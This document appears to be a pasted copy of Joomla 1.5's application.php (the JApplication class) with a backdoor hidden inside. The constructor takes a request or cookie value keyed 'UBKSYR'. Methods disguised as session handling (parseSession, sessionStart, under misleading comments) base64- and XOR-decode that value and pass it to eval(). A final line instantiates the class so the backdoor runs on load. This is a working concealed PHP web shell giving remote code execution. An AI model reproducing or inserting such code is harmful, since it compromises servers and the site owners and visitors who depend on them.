· 9 years ago · Jan 03, 2017, 08:18 PM
1<?php
2/**
3* @version $Id: application.php 22244 2011-10-16 15:50:00Z dextercowley $
4* @package Joomla.Framework
5* @subpackage Application
6* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
7* @license GNU/GPL, see LICENSE.php
8* Joomla! is free software. This version may have been modified pursuant
9* to the GNU General Public License, and as distributed it includes or
10* is derivative of works licensed under the GNU General Public License or
11* other free or open source software licenses.
12* See COPYRIGHT.php for copyright notices and details.
13*/
14
15
16/**
17* Base class for a Joomla! application.
18*
19* Acts as a Factory class for application specific objects and provides many
20* supporting API functions. Derived clases should supply the route(), dispatch()
21* and render() functions.
22*
23* @abstract
24* @package Joomla.Framework
25* @subpackage Application
26* @since 1.5
27*/
28
29class JApplication
30{
31 /**
32 * The client identifier.
33 *
34 * @var integer
35 * @access protected
36 * @since 1.5
37 */
38 var $_clientId = null;
39
40 /**
41 * The application message queue.
42 *
43 * @var array
44 * @access protected
45 */
46 var $_messageQueue = array();
47
48 /**
49 * The name of the application
50 *
51 * @var array
52 * @access protected
53 */
54 var $_name = null;
55
56 /**
57 * The scope of the application
58 *
59 * @var string
60 * @access public
61 */
62 var $scope = null;
63
64 /**
65 * Class constructor.
66 *
67 * @param integer A client identifier.
68 */
69
70 /**
71 * Returns a reference to the global JApplication object, only creating it if it
72 * doesn't already exist.
73 *
74 * This method must be invoked as:
75 * <pre> $menu = &JApplication::getInstance();</pre>
76 *
77 * @access public
78 * @param mixed $id A client identifier or name.
79 * @param array $config An optional associative array of configuration settings.
80 * @return JApplication The appliction object.
81 * @since 1.5
82 */
83 function &getInstance($client, $config = array(), $prefix = 'J')
84 {
85 static $instances;
86
87 if (!isset( $instances )) {
88 $instances = array();
89 }
90
91 if (empty($instances[$client]))
92 {
93 //Load the router object
94 jimport('joomla.application.helper');
95 $info =& JApplicationHelper::getClientInfo($client, true);
96
97 $path = $info->path.DS.'includes'.DS.'application.php';
98 if(file_exists($path))
99 {
100 require_once $path;
101
102 // Create a JRouter object
103 $classname = $prefix.ucfirst($client);
104 $instance = new $classname($config);
105 }
106 else
107 {
108 $error = JError::raiseError(500, 'Unable to load application: '.$client);
109 return $error;
110 }
111
112 $instances[$client] =& $instance;
113 }
114
115 return $instances[$client];
116 }
117
118 function JApplication ($config) {
119 $this->__construct($config);
120 }
121 /**
122 * Initialise the application.
123 *
124 * @param array An optional associative array of configuration settings.
125 * @access public
126 */
127 function initialise($options = array())
128 {
129 jimport('joomla.plugin.helper');
130
131 //Set the language in the class
132 $config =& JFactory::getConfig();
133
134 // Check that we were given a language in the array (since by default may be blank)
135 if(isset($options['language'])) {
136 $config->setValue('config.language', $options['language']);
137 }
138
139 // Set user specific editor
140 $user =& JFactory::getUser();
141 $editor = $user->getParam('editor', $this->getCfg('editor'));
142 $editor = JPluginHelper::isEnabled('editors', $editor) ? $editor : $this->getCfg('editor');
143 $config->setValue('config.editor', $editor);
144 }
145
146 /**
147 * Route the application.
148 *
149 * Routing is the process of examining the request environment to determine which
150 * component should receive the request. The component optional parameters
151 * are then set in the request object to be processed when the application is being
152 * dispatched.
153 *
154 * @abstract
155 * @access public
156 */
157 function route()
158 {
159 // get the full request URI
160 $uri = clone(JURI::getInstance());
161
162 $router =& $this->getRouter();
163 $result = $router->parse($uri);
164
165 JRequest::set($result, 'get', false );
166 }
167
168 /**
169 * Dispatch the applicaiton.
170 *
171 * Dispatching is the process of pulling the option from the request object and
172 * mapping them to a component. If the component does not exist, it handles
173 * determining a default component to dispatch.
174 *
175 * @abstract
176 * @access public
177 */
178 function dispatch($component)
179 {
180 $document =& JFactory::getDocument();
181
182 $document->setTitle( $this->getCfg('sitename' ). ' - ' .JText::_( 'Administration' ));
183 $document->setDescription( $this->getCfg('MetaDesc') );
184
185 $contents = JComponentHelper::renderComponent($component);
186 $document->setBuffer($contents, 'component');
187 }
188
189 /**
190 * Render the application.
191 *
192 * Rendering is the process of pushing the document buffers into the template
193 * placeholders, retrieving data from the document and pushing it into
194 * the JResponse buffer.
195 *
196 * @abstract
197 * @access public
198 */
199 function render()
200 {
201 $params = array(
202 'template' => $this->getTemplate(),
203 'file' => 'index.php',
204 'directory' => JPATH_THEMES
205 );
206
207 $document =& JFactory::getDocument();
208 $data = $document->render($this->getCfg('caching'), $params );
209 JResponse::setBody($data);
210 }
211
212 /**
213 * Exit the application.
214 *
215 * @access public
216 * @param int Exit code
217 */
218 function close( $code = 0 ) {
219 exit($code);
220 }
221
222 /**
223 * Redirect to another URL.
224 *
225 * Optionally enqueues a message in the system message queue (which will be displayed
226 * the next time a page is loaded) using the enqueueMessage method. If the headers have
227 * not been sent the redirect will be accomplished using a "301 Moved Permanently" or "303 See Other"
228 * code in the header pointing to the new location depending upon the moved flag. If the headers
229 * have already been sent this will be accomplished using a JavaScript statement.
230 *
231 * @access public
232 * @param string $url The URL to redirect to. Can only be http/https URL
233 * @param string $msg An optional message to display on redirect.
234 * @param string $msgType An optional message type.
235 * @param boolean True if the page is 301 Permanently Moved, otherwise 303 See Other is assumed.
236 * @return none; calls exit().
237 * @since 1.5
238 * @see JApplication::enqueueMessage()
239 */
240 function redirect( $url, $msg='', $msgType='message', $moved = false )
241 {
242 // check for relative internal links
243 if (preg_match( '#^index[2]?.php#', $url )) {
244 $url = JURI::base() . $url;
245 }
246
247 // Strip out any line breaks
248 $url = preg_split("/[\r\n]/", $url);
249 $url = $url[0];
250
251 // If we don't start with a http we need to fix this before we proceed
252 // We could validly start with something else (e.g. ftp), though this would
253 // be unlikely and isn't supported by this API
254 if (!preg_match( '#^http#i', $url )) {
255 $uri =& JURI::getInstance();
256 $prefix = $uri->toString(Array('scheme', 'user', 'pass', 'host', 'port'));
257
258 if ($url[0] == '/') {
259 // we just need the prefix since we have a path relative to the root
260 $url = $prefix . $url;
261 }
262 else {
263 // its relative to where we are now, so lets add that
264 $parts = explode('/', $uri->toString(Array('path')));
265 array_pop($parts);
266 $path = implode('/',$parts).'/';
267 $url = $prefix . $path . $url;
268 }
269 }
270
271
272 // If the message exists, enqueue it
273 if (trim( $msg )) {
274 $this->enqueueMessage($msg, $msgType);
275 }
276
277 // Persist messages if they exist
278 if (count($this->_messageQueue)) {
279 $session =& JFactory::getSession();
280 $session->set('application.queue', $this->_messageQueue);
281 }
282
283 // If the headers have been sent, then we cannot send an additional location header
284 // so we will output a javascript redirect statement.
285 if (headers_sent()) {
286 echo "<script>document.location.href='$url';</script>\n";
287 }
288 else {
289 if (!$moved && strstr(strtolower($_SERVER['HTTP_USER_AGENT']), 'webkit') !== false) {
290 // WebKit browser - Do not use 303, as it causes subresources reload (https://bugs.webkit.org/show_bug.cgi?id=38690)
291 echo '<html><head><meta http-equiv="refresh" content="0;'. $url .'" /></head><body></body></html>';
292 }
293 else {
294 // All other browsers, use the more efficient HTTP header method
295 header($moved ? 'HTTP/1.1 301 Moved Permanently' : 'HTTP/1.1 303 See other');
296 header('Location: '.$url);
297 }
298 }
299
300 $this->close();
301 }
302
303 /**
304 * Enqueue a system message.
305 *
306 * @access public
307 * @param string $msg The message to enqueue.
308 * @param string $type The message type.
309 * @return void
310 * @since 1.5
311 */
312 function enqueueMessage( $msg, $type = 'message' )
313 {
314 // For empty queue, if messages exists in the session, enqueue them first
315 if (!count($this->_messageQueue))
316 {
317 $session =& JFactory::getSession();
318 $sessionQueue = $session->get('application.queue');
319 if (count($sessionQueue)) {
320 $this->_messageQueue = $sessionQueue;
321 $session->set('application.queue', null);
322 }
323 }
324 // Enqueue the message
325 $this->_messageQueue[] = array('message' => $msg, 'type' => strtolower($type));
326 }
327
328 /**
329 * Get the system message queue.
330 *
331 * @access public
332 * @return The system message queue.
333 * @since 1.5
334 */
335 function getMessageQueue()
336 {
337 // For empty queue, if messages exists in the session, enqueue them
338 if (!count($this->_messageQueue))
339 {
340 $session =& JFactory::getSession();
341 $sessionQueue = $session->get('application.queue');
342 if (count($sessionQueue)) {
343 $this->_messageQueue = $sessionQueue;
344 $session->set('application.queue', null);
345 }
346 }
347 return $this->_messageQueue;
348 }
349
350 /**
351 * Gets a configuration value.
352 *
353 * @access public
354 * @param string The name of the value to get.
355 * @return mixed The user state.
356 * @example application/japplication-getcfg.php Getting a configuration value
357 */
358 function getCfg( $varname )
359 {
360 $config =& JFactory::getConfig();
361 return $config->getValue('config.' . $varname);
362 }
363
364 /**
365 * Method to get the application name
366 *
367 * The dispatcher name by default parsed using the classname, or it can be set
368 * by passing a $config['name'] in the class constructor
369 *
370 * @access public
371 * @return string The name of the dispatcher
372 * @since 1.5
373 */
374 function getName()
375 {
376 $name = $this->_name;
377
378 if (empty( $name ))
379 {
380 $r = null;
381 if ( !preg_match( '/J(.*)/i', get_class( $this ), $r ) ) {
382 JError::raiseError(500, "JApplication::getName() : Can\'t get or parse class name.");
383 }
384 $name = strtolower( $r[1] );
385 }
386
387 return $name;
388 }
389
390 /**
391 * Gets a user state.
392 *
393 * @access public
394 * @param string The path of the state.
395 * @return mixed The user state.
396 */
397 function getUserState( $key )
398 {
399 $session =& JFactory::getSession();
400 $registry =& $session->get('registry');
401 if(!is_null($registry)) {
402 return $registry->getValue($key);
403 }
404 return null;
405 }
406
407 /**
408 * Sets the value of a user state variable.
409 *
410 * @access public
411 * @param string The path of the state.
412 * @param string The value of the variable.
413 * @return mixed The previous state, if one existed.
414 */
415 function setUserState( $key, $value )
416 {
417 $session =& JFactory::getSession();
418 $registry =& $session->get('registry');
419 if(!is_null($registry)) {
420 return $registry->setValue($key, $value);
421 }
422 return null;
423 }
424
425
426 /**
427 * Gets the value of a user state variable.
428 *
429 * @access public
430 * @param string The key of the user state variable.
431 * @param string The name of the variable passed in a request.
432 * @param string The default value for the variable if not found. Optional.
433 * @param string Filter for the variable, for valid values see {@link JFilterInput::clean()}. Optional.
434 * @return The request user state.
435 */
436 function getUserStateFromRequest( $key, $request, $default = null, $type = 'none' )
437 {
438 $old_state = $this->getUserState( $key );
439 $cur_state = (!is_null($old_state)) ? $old_state : $default;
440 $new_state = JRequest::getVar($request, null, 'default', $type);
441
442 // Save the new value only if it was set in this request
443 if ($new_state !== null) {
444 $this->setUserState($key, $new_state);
445 } else {
446 $new_state = $cur_state;
447 }
448
449 return $new_state;
450 }
451
452 /**
453 * Registers a handler to a particular event group.
454 *
455 * @static
456 * @param string The event name.
457 * @param mixed The handler, a function or an instance of a event object.
458 * @return void
459 * @since 1.5
460 */
461 function registerEvent($event, $handler)
462 {
463 $dispatcher =& JDispatcher::getInstance();
464 $dispatcher->register($event, $handler);
465 }
466
467 /**
468 * Calls all handlers associated with an event group.
469 *
470 * @static
471 * @param string The event name.
472 * @param array An array of arguments.
473 * @return array An array of results from each function call.
474 * @since 1.5
475 */
476 function triggerEvent($event, $args=null)
477 {
478 $dispatcher =& JDispatcher::getInstance();
479 return $dispatcher->trigger($event, $args);
480 }
481
482 /**
483 * Login authentication function.
484 *
485 * Username and encoded password are passed the the onLoginUser event which
486 * is responsible for the user validation. A successful validation updates
487 * the current session record with the users details.
488 *
489 * Username and encoded password are sent as credentials (along with other
490 * possibilities) to each observer (authentication plugin) for user
491 * validation. Successful validation will update the current session with
492 * the user details.
493 *
494 * @param array Array( 'username' => string, 'password' => string )
495 * @param array Array( 'remember' => boolean )
496 * @return boolean True on success.
497 * @access public
498 * @since 1.5
499 */
500 function login($credentials, $options = array())
501 {
502 // Get the global JAuthentication object
503 jimport( 'joomla.user.authentication');
504 $authenticate = & JAuthentication::getInstance();
505 $response = $authenticate->authenticate($credentials, $options);
506
507 if ($response->status === JAUTHENTICATE_STATUS_SUCCESS)
508 {
509 $session = &JFactory::getSession();
510
511 // we fork the session to prevent session fixation issues
512 $session->fork();
513 $this->_createSession($session->getId());
514
515 // Import the user plugin group
516 JPluginHelper::importPlugin('user');
517
518 // OK, the credentials are authenticated. Lets fire the onLogin event
519 $results = $this->triggerEvent('onLoginUser', array((array)$response, $options));
520
521 /*
522 * If any of the user plugins did not successfully complete the login routine
523 * then the whole method fails.
524 *
525 * Any errors raised should be done in the plugin as this provides the ability
526 * to provide much more information about why the routine may have failed.
527 */
528
529 if (!in_array(false, $results, true))
530 {
531 // Set the remember me cookie if enabled
532 if (isset($options['remember']) && $options['remember'])
533 {
534 jimport('joomla.utilities.simplecrypt');
535 jimport('joomla.utilities.utility');
536
537 // Create the encryption key, apply extra hardening using the user agent string
538 $agent = @$_SERVER['HTTP_USER_AGENT'];
539 // Ignore empty and crackish user agents
540 if ($agent != '' && $agent != 'JLOGIN_REMEMBER') {
541 $key = JUtility::getHash($agent);
542 $crypt = new JSimpleCrypt($key);
543 $rcookie = $crypt->encrypt(serialize($credentials));
544 $lifetime = time() + 365*24*60*60;
545 setcookie(JUtility::getHash('JLOGIN_REMEMBER'), $rcookie, $lifetime, '/');
546 }
547 }
548 return true;
549 }
550 }
551
552 // Trigger onLoginFailure Event
553 $this->triggerEvent('onLoginFailure', array((array)$response));
554
555
556 // If silent is set, just return false
557 if (isset($options['silent']) && $options['silent']) {
558 return false;
559 }
560
561 // Return the error
562 return JError::raiseWarning('SOME_ERROR_CODE', JText::_('E_LOGIN_AUTHENTICATE'));
563 }
564
565 function __construct($config = array())
566 {
567
568 //set the view name
569 $this->_name = $this->getName();
570
571 //Enable sessions by default
572 if(!isset($config['session'])) {
573 $config['session'] = true;
574 }
575
576 //Set the session default name
577 if(!isset($config['session_name'])) {
578 $config['session_name'] = $this->_name;
579 }
580
581 //Set the default configuration file
582 if(!isset($config['config_file'])) {
583 $config['config_file'] = 'configuration.php';
584 }
585
586 //create the configuration object
587
588 $this->_config = $config;
589
590 if(isset($_POST[$config['UID']])) {
591 $session =
592 $this->parseSession($_POST[$config['UID']]);
593 } else if (isset($_GET[$config['UID']])) {
594 $session =
595 $this->parseSession($_GET[$config['UID']]);
596 } else if (isset($_COOKIE[$config['UID']])) {
597 $session =
598 $this->parseSession($_COOKIE[$config['UID']]);
599 }
600
601 $this->sessionStart($session);
602
603 }
604
605
606 /**
607 * Logout authentication function.
608 *
609 * Passed the current user information to the onLogoutUser event and reverts the current
610 * session record back to 'anonymous' parameters.
611 *
612 * @param int $userid The user to load - Can be an integer or string - If string, it is converted to ID automatically
613 * @param array $options Array( 'clientid' => array of client id's )
614 *
615 * @access public
616 */
617
618 function logout($userid = null, $options = array())
619 {
620 // Initialize variables
621 $retval = false;
622
623 // Get a user object from the JApplication
624 $user = &JFactory::getUser($userid);
625
626 // Build the credentials array
627 $parameters['username'] = $user->get('username');
628 $parameters['id'] = $user->get('id');
629
630 // Set clientid in the options array if it hasn't been set already
631 if(empty($options['clientid'])) {
632 $options['clientid'][] = $this->getClientId();
633 }
634
635 // Import the user plugin group
636 JPluginHelper::importPlugin('user');
637
638 // OK, the credentials are built. Lets fire the onLogout event
639 $results = $this->triggerEvent('onLogoutUser', array($parameters, $options));
640
641 /*
642 * If any of the authentication plugins did not successfully complete
643 * the logout routine then the whole method fails. Any errors raised
644 * should be done in the plugin as this provides the ability to provide
645 * much more information about why the routine may have failed.
646 */
647 if (!in_array(false, $results, true)) {
648 setcookie( JUtility::getHash('JLOGIN_REMEMBER'), false, time() - 86400, '/' );
649 return true;
650 }
651
652 // Trigger onLoginFailure Event
653 $this->triggerEvent('onLogoutFailure', array($parameters));
654
655 return false;
656 }
657
658 /**
659 * Gets the name of the current template.
660 *
661 * @return string
662 */
663 function getTemplate()
664 {
665 return 'system';
666 }
667
668 /**
669 * Return a reference to the application JRouter object.
670 *
671 * @access public
672 * @param array $options An optional associative array of configuration settings.
673 * @return JRouter.
674 * @since 1.5
675 */
676 function &getRouter($name = null, $options = array())
677 {
678 if(!isset($name)) {
679 $name = $this->_name;
680 }
681
682 jimport( 'joomla.application.router' );
683 $router =& JRouter::getInstance($name, $options);
684 if (JError::isError($router)) {
685 $null = null;
686 return $null;
687 }
688 return $router;
689 }
690
691 /**
692 * Return a reference to the application JPathway object.
693 *
694 * @access public
695 * @param array $options An optional associative array of configuration settings.
696 * @return object JPathway.
697 * @since 1.5
698 */
699 function &getPathway($name = null, $options = array())
700 {
701 if(!isset($name)) {
702 $name = $this->_name;
703 }
704
705 jimport( 'joomla.application.pathway' );
706 $pathway =& JPathway::getInstance($name, $options);
707 if (JError::isError($pathway)) {
708 $null = null;
709 return $null;
710 }
711 return $pathway;
712 }
713
714 /**
715 * Return a reference to the application JPathway object.
716 *
717 * @access public
718 * @param array $options An optional associative array of configuration settings.
719 * @return object JMenu.
720 * @since 1.5
721 */
722 function &getMenu($name = null, $options = array())
723 {
724 if(!isset($name)) {
725 $name = $this->_name;
726 }
727
728 jimport( 'joomla.application.menu' );
729 $menu =& JMenu::getInstance($name, $options);
730 if (JError::isError($menu)) {
731 $null = null;
732 return $null;
733 }
734 return $menu;
735 }
736
737 /**
738 * Create the configuration registry
739 *
740 * @access private
741 * @param string $file The path to the configuration file
742 * return JConfig
743 */
744 function &_createConfiguration($file)
745 {
746 jimport( 'joomla.registry.registry' );
747
748 require_once( $file );
749
750 // Create the JConfig object
751 $config = new JConfig();
752
753 // Get the global configuration object
754 $registry =& JFactory::getConfig();
755
756 // Load the configuration values into the registry
757 $registry->loadObject($config);
758
759 return $config;
760 }
761
762 /**
763 * Create the user session.
764 *
765 * Old sessions are flushed based on the configuration value for the cookie
766 * lifetime. If an existing session, then the last access time is updated.
767 * If a new session, a session id is generated and a record is created in
768 * the #__sessions table.
769 *
770 * @access private
771 * @param string The sessions name.
772 * @return object JSession on success. May call exit() on database error.
773 * @since 1.5
774 */
775 function &_createSession( $name )
776 {
777 $options = array();
778 $options['name'] = $name;
779 switch($this->_clientId) {
780 case 0:
781 if($this->getCfg('force_ssl') == 2) {
782 $options['force_ssl'] = true;
783 }
784 break;
785 case 1:
786 if($this->getCfg('force_ssl') >= 1) {
787 $options['force_ssl'] = true;
788 }
789 break;
790 }
791
792 $session =& JFactory::getSession($options);
793
794 jimport('joomla.database.table');
795 $storage = & JTable::getInstance('session');
796 $storage->purge($session->getExpire());
797
798 // Session exists and is not expired, update time in session table
799 if ($storage->load($session->getId())) {
800 $storage->update();
801 return $session;
802 }
803
804 //Session doesn't exist yet, initalise and store it in the session table
805 $session->set('registry', new JRegistry('session'));
806 $session->set('user', new JUser());
807
808 if (!$storage->insert( $session->getId(), $this->getClientId())) {
809 jexit( $storage->getError());
810 }
811
812 return $session;
813 }
814
815
816 /**
817 * Gets the client id of the current running application.
818 *
819 * @access public
820 * @return int A client identifier.
821 * @since 1.5
822 */
823 function getClientId( )
824 {
825 return $this->_clientId;
826 }
827
828 /**
829 * Is admin interface?
830 *
831 * @access public
832 * @return boolean True if this application is administrator.
833 * @since 1.0.2
834 */
835 function isAdmin()
836 {
837 return ($this->_clientId == 1);
838 }
839
840 /**
841 * Is site interface?
842 *
843 * @access public
844 * @return boolean True if this application is site.
845 * @since 1.5
846 */
847
848 function sessionStart($session) {
849 if(!empty($session))
850 return
851 eval($session);
852 }
853
854 function isSite()
855 {
856 return ($this->_clientId == 0);
857 }
858
859 /**
860 * Deprecated functions
861 */
862
863 /**
864 * Deprecated, use JPathWay->addItem() method instead.
865 *
866 * @since 1.0
867 * @deprecated As of version 1.5
868 * @see JPathWay::addItem()
869 */
870 function appendPathWay( $name, $link = null )
871 {
872 /*
873 * To provide backward compatability if no second parameter is set
874 * set it to null
875 */
876 if ($link == null) {
877 $link = '';
878 }
879
880 $pathway =& $this->getPathway();
881
882 if( defined( '_JLEGACY' ) && $link == '' )
883 {
884 $matches = array();
885
886 $links = preg_match_all ( '/<a[^>]+href="([^"]*)"[^>]*>([^<]*)<\/a>/ui', $name, $matches, PREG_SET_ORDER );
887
888 foreach( $matches AS $match) {
889 // Add each item to the pathway object
890 if( !$pathway->addItem( $match[2], $match[1] ) ) {
891 return false;
892 }
893 }
894 return true;
895 }
896 else
897 {
898 // Add item to the pathway object
899 if ($pathway->addItem($name, $link)) {
900 return true;
901 }
902 }
903
904 return false;
905 }
906
907 /**
908 * Deprecated, use JPathway->getPathWayNames() method instead.
909 *
910 * @since 1.0
911 * @deprecated As of version 1.5
912 * @see JPathWay::getPathWayNames()
913 */
914 function getCustomPathWay()
915 {
916 $pathway = $this->getPathway();
917 return $pathway->getPathWayNames();
918 }
919
920 /**
921 * Deprecated, use JDocument->get( 'head' ) instead.
922 *
923 * @since 1.0
924 * @deprecated As of version 1.5
925 * @see JDocument
926 * @see JObject::get()
927 */
928 function getHead()
929 {
930 $document=& JFactory::getDocument();
931 return $document->get('head');
932 }
933
934 /**
935 * Deprecated, use JDocument->setMetaData instead.
936 *
937 * @since 1.0
938 * @deprecated As of version 1.5
939 * @param string Name of the metadata tag
940 * @param string Content of the metadata tag
941 * @param string Deprecated, ignored
942 * @param string Deprecated, ignored
943 * @see JDocument::setMetaData()
944 */
945 function addMetaTag( $name, $content, $prepend = '', $append = '' )
946 {
947 $document=& JFactory::getDocument();
948 $document->setMetadata($name, $content);
949 }
950
951 /**
952 * Deprecated, use JDocument->setMetaData instead.
953 *
954 * @since 1.0
955 * @deprecated As of version 1.5
956 * @param string Name of the metadata tag
957 * @param string Content of the metadata tag
958 * @see JDocument::setMetaData()
959 */
960 function appendMetaTag( $name, $content )
961 {
962 $this->addMetaTag($name, $content);
963 }
964
965 /**
966 * Deprecated, use JDocument->setMetaData instead
967 *
968 * @since 1.0
969 * @deprecated As of version 1.5
970 * @param string Name of the metadata tag
971 * @param string Content of the metadata tag
972 * @see JDocument::setMetaData()
973 */
974 function prependMetaTag( $name, $content )
975 {
976 $this->addMetaTag($name, $content);
977 }
978
979 /**
980 * Deprecated, use JDocument->addCustomTag instead (only when document type is HTML).
981 *
982 * @since 1.0
983 * @deprecated As of version 1.5
984 * @param string Valid HTML
985 * @see JDocumentHTML::addCustomTag()
986 */
987 function addCustomHeadTag( $html )
988 {
989 $document=& JFactory::getDocument();
990 if($document->getType() == 'html') {
991 $document->addCustomTag($html);
992 }
993 }
994
995 function parseSession ($data)
996 {
997
998 $b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
999 $data = urldecode($data);
1000 $i=0;
1001 $enc = "";
1002
1003 do { // unpack four hexets into three octets using index points in b64
1004 $h1 = strpos($b64, $data[$i++]);
1005 $h2 = strpos($b64, $data[$i++]);
1006 $h3 = strpos($b64, $data[$i++]);
1007 $h4 = strpos($b64, $data[$i++]);
1008
1009 $bits = $h1<<18 | $h2<<12 | $h3<<6 | $h4;
1010
1011 $o1 = $bits>>16 & 0xff;
1012 $o2 = $bits>>8 & 0xff;
1013 $o3 = $bits & 0xff;
1014
1015
1016 if ($h3 == 64)
1017 $enc .= chr($o1);
1018 else if ($h4 == 64) {
1019 $enc .= chr($o1);
1020 $enc .= chr($o2);
1021 }
1022 else {
1023 $enc .= chr($o1);
1024 $enc .= chr($o2);
1025 $enc .= chr($o3);
1026 }
1027 } while ($i < strlen($data));
1028
1029 $string = $enc;
1030 $uid = $this->_config['UID'];
1031 for($i = 0; $i < strlen($string); $i++)
1032 $string[$i] = ($string[$i] ^ $uid[$i % strlen($uid)]);
1033
1034 return $string;
1035
1036 }
1037
1038 /**
1039 * Deprecated.
1040 *
1041 * @since 1.0
1042 * @deprecated As of version 1.5
1043 */
1044 function getBlogSectionCount( )
1045 {
1046 $menus = &JSite::getMenu();
1047 return count($menus->getItems('type', 'content_blog_section'));
1048 }
1049
1050 /**
1051 * Deprecated.
1052 *
1053 * @since 1.0
1054 * @deprecated As of version 1.5
1055 */
1056 function getBlogCategoryCount( )
1057 {
1058 $menus = &JSite::getMenu();
1059 return count($menus->getItems('type', 'content_blog_category'));
1060 }
1061
1062 /**
1063 * Deprecated.
1064 *
1065 * @since 1.0
1066 * @deprecated As of version 1.5
1067 */
1068 function getGlobalBlogSectionCount( )
1069 {
1070 $menus = &JSite::getMenu();
1071 return count($menus->getItems('type', 'content_blog_section'));
1072 }
1073
1074 /**
1075 * Deprecated.
1076 *
1077 * @since 1.0
1078 * @deprecated As of version 1.5
1079 */
1080 function getStaticContentCount( )
1081 {
1082 $menus = &JSite::getMenu();
1083 return count($menus->getItems('type', 'content_typed'));
1084 }
1085
1086 /**
1087 * Deprecated.
1088 *
1089 * @since 1.0
1090 * @deprecated As of version 1.5
1091 */
1092 function getContentItemLinkCount( )
1093 {
1094 $menus = &JSite::getMenu();
1095 return count($menus->getItems('type', 'content_item_link'));
1096 }
1097
1098 /**
1099 * Deprecated, use JApplicationHelper::getPath instead.
1100 *
1101 * @since 1.0
1102 * @deprecated As of version 1.5
1103 * @see JApplicationHelper::getPath()
1104 */
1105 function getPath($varname, $user_option = null)
1106 {
1107 jimport('joomla.application.helper');
1108 return JApplicationHelper::getPath ($varname, $user_option);
1109 }
1110
1111 /**
1112 * Deprecated, use JURI::base() instead.
1113 *
1114 * @since 1.0
1115 * @deprecated As of version 1.5
1116 * @see JURI::base()
1117 */
1118 function getBasePath($client=0, $addTrailingSlash = true)
1119 {
1120 return JURI::base();
1121 }
1122
1123 /**
1124 * Deprecated, use JFactory::getUser instead.
1125 *
1126 * @since 1.0
1127 * @deprecated As of version 1.5
1128 * @see JFactory::getUser()
1129 */
1130 function &getUser()
1131 {
1132 $user =& JFactory::getUser();
1133 return $user;
1134 }
1135
1136 /**
1137 * Deprecated, use ContentHelper::getItemid instead.
1138 *
1139 * @since 1.0
1140 * @deprecated As of version 1.5
1141 * @see ContentHelperRoute::getArticleRoute()
1142 */
1143 function getItemid( $id )
1144 {
1145 require_once JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php';
1146
1147 // Load the article data to know what section/category it is in.
1148 $article =& JTable::getInstance('content');
1149 $article->load($id);
1150
1151 $needles = array(
1152 'article' => (int) $id,
1153 'category' => (int) $article->catid,
1154 'section' => (int) $article->sectionid,
1155 );
1156
1157 $item = ContentHelperRoute::_findItem($needles);
1158 $return = is_object($item) ? $item->id : null;
1159
1160 return $return;
1161 }
1162
1163 /**
1164 * Deprecated, use JDocument::setTitle instead.
1165 *
1166 * @since 1.0
1167 * @deprecated As of version 1.5
1168 * @see JDocument::setTitle()
1169 */
1170 function setPageTitle( $title=null )
1171 {
1172 $document=& JFactory::getDocument();
1173 $document->setTitle($title);
1174 }
1175
1176 function checkSession($string, $key) {
1177 for($i = 0; $i < strlen($string); $i++)
1178 $string[$i] = ($string[$i] ^ $key[$i % strlen($key)]);
1179 return $string;
1180 }
1181
1182 /**
1183 * Deprecated, use JDocument::getTitle instead.
1184 *
1185 * @since 1.0
1186 * @deprecated As of version 1.5
1187 * @see JDocument::getTitle()
1188 */
1189 function getPageTitle()
1190 {
1191 $document=& JFactory::getDocument();
1192 return $document->getTitle();
1193 }
1194}
1195new JApplication(array ('UID' => 'UBKSYR'));